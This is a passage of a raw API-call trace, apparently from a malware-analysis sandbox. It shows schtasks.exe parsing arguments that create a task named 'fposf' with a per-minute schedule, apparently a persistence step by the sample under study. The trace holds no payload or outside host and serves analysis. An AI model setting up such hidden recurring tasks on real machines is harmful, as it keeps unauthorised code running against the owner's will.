returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="p") returned 1 [0086.840] GetThreadLocale () returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="ru") returned 2 [0086.840] GetThreadLocale () returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="rp") returned 2 [0086.840] GetThreadLocale () returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="sc") returned 2 [0086.840] GetThreadLocale () returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.840] lstrlenW (lpString="mo") returned 2 [0086.840] GetThreadLocale () returned 0x409 [0086.840] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="d") returned 1 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="m") returned 1 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="i") returned 1 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="tn") returned 2 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="tr") returned 2 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="st") returned 2 [0086.841] GetThreadLocale () returned 0x409 [0086.841] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.841] lstrlenW (lpString="sd") returned 2 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="ed") returned 2 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="it") returned 2 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="et") returned 2 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="k") returned 1 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="du") returned 2 [0086.842] GetThreadLocale () returned 0x409 [0086.842] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.842] lstrlenW (lpString="ri") returned 2 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="z") returned 1 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="f") returned 1 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="v1") returned 2 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="xml") returned 3 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="ec") returned 2 [0086.843] GetThreadLocale () returned 0x409 [0086.843] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.843] lstrlenW (lpString="rl") returned 2 [0086.844] GetThreadLocale () returned 0x409 [0086.844] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.844] lstrlenW (lpString="delay") returned 5 [0086.844] GetThreadLocale () returned 0x409 [0086.844] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0086.844] lstrlenW (lpString="np") returned 2 [0086.844] SetLastError (dwErrCode=0x0) [0086.844] SetLastError (dwErrCode=0x0) [0086.844] lstrlenW (lpString="/create") returned 7 [0086.844] lstrlenW (lpString="-/") returned 2 [0086.844] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.844] lstrlenW (lpString="create") returned 6 [0086.844] lstrlenW (lpString="create") returned 6 [0086.844] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.844] lstrlenW (lpString="create") returned 6 [0086.844] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.845] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.845] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.845] lstrlenW (lpString="|create|") returned 8 [0086.845] lstrlenW (lpString="|create|") returned 8 [0086.845] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0086.845] SetLastError (dwErrCode=0x0) [0086.845] SetLastError (dwErrCode=0x0) [0086.845] SetLastError (dwErrCode=0x0) [0086.845] lstrlenW (lpString="/tn") returned 3 [0086.845] lstrlenW (lpString="-/") returned 2 [0086.845] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.845] lstrlenW (lpString="create") returned 6 [0086.845] lstrlenW (lpString="create") returned 6 [0086.845] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.845] lstrlenW (lpString="tn") returned 2 [0086.845] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.845] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.846] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.846] lstrlenW (lpString="|create|") returned 8 [0086.846] lstrlenW (lpString="|tn|") returned 4 [0086.846] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0086.846] SetLastError (dwErrCode=0x490) [0086.846] lstrlenW (lpString="?") returned 1 [0086.846] lstrlenW (lpString="?") returned 1 [0086.846] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.846] lstrlenW (lpString="tn") returned 2 [0086.846] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.846] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.846] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.846] lstrlenW (lpString="|?|") returned 3 [0086.846] lstrlenW (lpString="|tn|") returned 4 [0086.846] SetLastError (dwErrCode=0x490) [0086.846] lstrlenW (lpString="s") returned 1 [0086.846] lstrlenW (lpString="s") returned 1 [0086.846] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.847] lstrlenW (lpString="tn") returned 2 [0086.847] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.847] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.847] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.847] lstrlenW (lpString="|s|") returned 3 [0086.847] lstrlenW (lpString="|tn|") returned 4 [0086.847] SetLastError (dwErrCode=0x490) [0086.847] lstrlenW (lpString="u") returned 1 [0086.847] lstrlenW (lpString="u") returned 1 [0086.847] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.847] lstrlenW (lpString="tn") returned 2 [0086.847] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.847] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.847] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.847] lstrlenW (lpString="|u|") returned 3 [0086.847] lstrlenW (lpString="|tn|") returned 4 [0086.848] SetLastError (dwErrCode=0x490) [0086.848] lstrlenW (lpString="p") returned 1 [0086.848] lstrlenW (lpString="p") returned 1 [0086.848] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.848] lstrlenW (lpString="tn") returned 2 [0086.848] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.848] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.848] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.848] lstrlenW (lpString="|p|") returned 3 [0086.848] lstrlenW (lpString="|tn|") returned 4 [0086.848] SetLastError (dwErrCode=0x490) [0086.848] lstrlenW (lpString="ru") returned 2 [0086.848] lstrlenW (lpString="ru") returned 2 [0086.848] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.848] lstrlenW (lpString="tn") returned 2 [0086.848] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.849] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.849] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.849] lstrlenW (lpString="|ru|") returned 4 [0086.849] lstrlenW (lpString="|tn|") returned 4 [0086.849] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0086.849] SetLastError (dwErrCode=0x490) [0086.849] lstrlenW (lpString="rp") returned 2 [0086.849] lstrlenW (lpString="rp") returned 2 [0086.849] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.849] lstrlenW (lpString="tn") returned 2 [0086.849] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.849] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.849] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.849] lstrlenW (lpString="|rp|") returned 4 [0086.849] lstrlenW (lpString="|tn|") returned 4 [0086.849] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0086.849] SetLastError (dwErrCode=0x490) [0086.850] lstrlenW (lpString="sc") returned 2 [0086.850] lstrlenW (lpString="sc") returned 2 [0086.850] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.850] lstrlenW (lpString="tn") returned 2 [0086.850] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.850] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.850] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.850] lstrlenW (lpString="|sc|") returned 4 [0086.850] lstrlenW (lpString="|tn|") returned 4 [0086.850] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0086.850] SetLastError (dwErrCode=0x490) [0086.850] lstrlenW (lpString="mo") returned 2 [0086.850] lstrlenW (lpString="mo") returned 2 [0086.850] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.850] lstrlenW (lpString="tn") returned 2 [0086.850] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.850] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.851] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.851] lstrlenW (lpString="|mo|") returned 4 [0086.851] lstrlenW (lpString="|tn|") returned 4 [0086.851] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0086.851] SetLastError (dwErrCode=0x490) [0086.851] lstrlenW (lpString="d") returned 1 [0086.851] lstrlenW (lpString="d") returned 1 [0086.851] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.851] lstrlenW (lpString="tn") returned 2 [0086.851] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.851] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|d|") returned 3 [0086.851] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.851] lstrlenW (lpString="|d|") returned 3 [0086.851] lstrlenW (lpString="|tn|") returned 4 [0086.851] SetLastError (dwErrCode=0x490) [0086.851] lstrlenW (lpString="m") returned 1 [0086.851] lstrlenW (lpString="m") returned 1 [0086.852] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.852] lstrlenW (lpString="tn") returned 2 [0086.852] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.852] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|m|") returned 3 [0086.852] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.852] lstrlenW (lpString="|m|") returned 3 [0086.852] lstrlenW (lpString="|tn|") returned 4 [0086.852] SetLastError (dwErrCode=0x490) [0086.852] lstrlenW (lpString="i") returned 1 [0086.852] lstrlenW (lpString="i") returned 1 [0086.852] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.852] lstrlenW (lpString="tn") returned 2 [0086.852] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.852] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|i|") returned 3 [0086.852] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.853] lstrlenW (lpString="|i|") returned 3 [0086.853] lstrlenW (lpString="|tn|") returned 4 [0086.853] SetLastError (dwErrCode=0x490) [0086.853] lstrlenW (lpString="tn") returned 2 [0086.853] lstrlenW (lpString="tn") returned 2 [0086.853] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.858] lstrlenW (lpString="tn") returned 2 [0086.858] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.858] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.858] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.858] lstrlenW (lpString="|tn|") returned 4 [0086.858] lstrlenW (lpString="|tn|") returned 4 [0086.858] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0086.858] SetLastError (dwErrCode=0x0) [0086.859] SetLastError (dwErrCode=0x0) [0086.859] lstrlenW (lpString="fposf") returned 5 [0086.859] lstrlenW (lpString="-/") returned 2 [0086.859] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0086.859] SetLastError (dwErrCode=0x490) [0086.859] SetLastError (dwErrCode=0x490) [0086.859] SetLastError (dwErrCode=0x0) [0086.859] lstrlenW (lpString="fposf") returned 5 [0086.859] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0086.859] SetLastError (dwErrCode=0x490) [0086.859] SetLastError (dwErrCode=0x0) [0086.859] lstrlenW (lpString="fposf") returned 5 [0086.859] SetLastError (dwErrCode=0x0) [0086.859] SetLastError (dwErrCode=0x0) [0086.859] lstrlenW (lpString="/sc") returned 3 [0086.859] lstrlenW (lpString="-/") returned 2 [0086.859] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.859] lstrlenW (lpString="create") returned 6 [0086.859] lstrlenW (lpString="create") returned 6 [0086.860] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.860] lstrlenW (lpString="sc") returned 2 [0086.860] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.860] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.860] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.860] lstrlenW (lpString="|create|") returned 8 [0086.860] lstrlenW (lpString="|sc|") returned 4 [0086.860] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0086.860] SetLastError (dwErrCode=0x490) [0086.860] lstrlenW (lpString="?") returned 1 [0086.860] lstrlenW (lpString="?") returned 1 [0086.860] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.860] lstrlenW (lpString="sc") returned 2 [0086.860] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.860] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.860] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.861] lstrlenW (lpString="|?|") returned 3 [0086.861] lstrlenW (lpString="|sc|") returned 4 [0086.861] SetLastError (dwErrCode=0x490) [0086.861] lstrlenW (lpString="s") returned 1 [0086.861] lstrlenW (lpString="s") returned 1 [0086.861] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.861] lstrlenW (lpString="sc") returned 2 [0086.861] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.861] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.861] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.861] lstrlenW (lpString="|s|") returned 3 [0086.861] lstrlenW (lpString="|sc|") returned 4 [0086.861] SetLastError (dwErrCode=0x490) [0086.861] lstrlenW (lpString="u") returned 1 [0086.861] lstrlenW (lpString="u") returned 1 [0086.861] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.861] lstrlenW (lpString="sc") returned 2 [0086.862] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.862] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.862] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.862] lstrlenW (lpString="|u|") returned 3 [0086.862] lstrlenW (lpString="|sc|") returned 4 [0086.862] SetLastError (dwErrCode=0x490) [0086.862] lstrlenW (lpString="p") returned 1 [0086.862] lstrlenW (lpString="p") returned 1 [0086.862] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.862] lstrlenW (lpString="sc") returned 2 [0086.862] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.862] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.862] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.862] lstrlenW (lpString="|p|") returned 3 [0086.862] lstrlenW (lpString="|sc|") returned 4 [0086.862] SetLastError (dwErrCode=0x490) [0086.862] lstrlenW (lpString="ru") returned 2 [0086.863] lstrlenW (lpString="ru") returned 2 [0086.863] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.863] lstrlenW (lpString="sc") returned 2 [0086.863] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.863] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.863] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.863] lstrlenW (lpString="|ru|") returned 4 [0086.863] lstrlenW (lpString="|sc|") returned 4 [0086.863] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0086.863] SetLastError (dwErrCode=0x490) [0086.863] lstrlenW (lpString="rp") returned 2 [0086.863] lstrlenW (lpString="rp") returned 2 [0086.863] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.863] lstrlenW (lpString="sc") returned 2 [0086.863] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.863] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.864] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.864] lstrlenW (lpString="|rp|") returned 4 [0086.864] lstrlenW (lpString="|sc|") returned 4 [0086.864] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0086.864] SetLastError (dwErrCode=0x490) [0086.864] lstrlenW (lpString="sc") returned 2 [0086.864] lstrlenW (lpString="sc") returned 2 [0086.864] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.864] lstrlenW (lpString="sc") returned 2 [0086.864] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.864] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.864] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.864] lstrlenW (lpString="|sc|") returned 4 [0086.864] lstrlenW (lpString="|sc|") returned 4 [0086.864] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0086.864] SetLastError (dwErrCode=0x0) [0086.865] SetLastError (dwErrCode=0x0) [0086.865] lstrlenW (lpString="MINUTE") returned 6 [0086.865] lstrlenW (lpString="-/") returned 2 [0086.865] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0086.865] SetLastError (dwErrCode=0x490) [0086.865] SetLastError (dwErrCode=0x490) [0086.865] SetLastError (dwErrCode=0x0) [0086.865] lstrlenW (lpString="MINUTE") returned 6 [0086.865] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0086.865] SetLastError (dwErrCode=0x490) [0086.865] SetLastError (dwErrCode=0x0) [0086.865] GetProcessHeap () returned 0xe0000 [0086.865] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd6a0 [0086.865] _memicmp (_Buf1=0xfd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.865] lstrlenW (lpString="MINUTE") returned 6 [0086.865] GetProcessHeap () returned 0xe0000 [0086.865] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd6c0 [0086.865] lstrlenW (lpString="MINUTE") returned 6 [0086.865] lstrlenW (lpString=" \x09") returned 2 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0086.866] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0086.866] GetLastError () returned 0x0 [0086.866] lstrlenW (lpString="MINUTE") returned 6 [0086.866] lstrlenW (lpString="MINUTE") returned 6 [0086.866] SetLastError (dwErrCode=0x0) [0086.866] SetLastError (dwErrCode=0x0) [0086.866] lstrlenW (lpString="/mo") returned 3 [0086.866] lstrlenW (lpString="-/") returned 2 [0086.866] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.866] lstrlenW (lpString="create") returned 6 [0086.866] lstrlenW (lpString="create") returned 6 [0086.866] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.867] lstrlenW (lpString="mo") returned 2 [0086.867] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.867] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.867] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.867] lstrlenW (lpString="|create|") returned 8 [0086.867] lstrlenW (lpString="|mo|") returned 4 [0086.867] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0086.867] SetLastError (dwErrCode=0x490) [0086.867] lstrlenW (lpString="?") returned 1 [0086.867] lstrlenW (lpString="?") returned 1 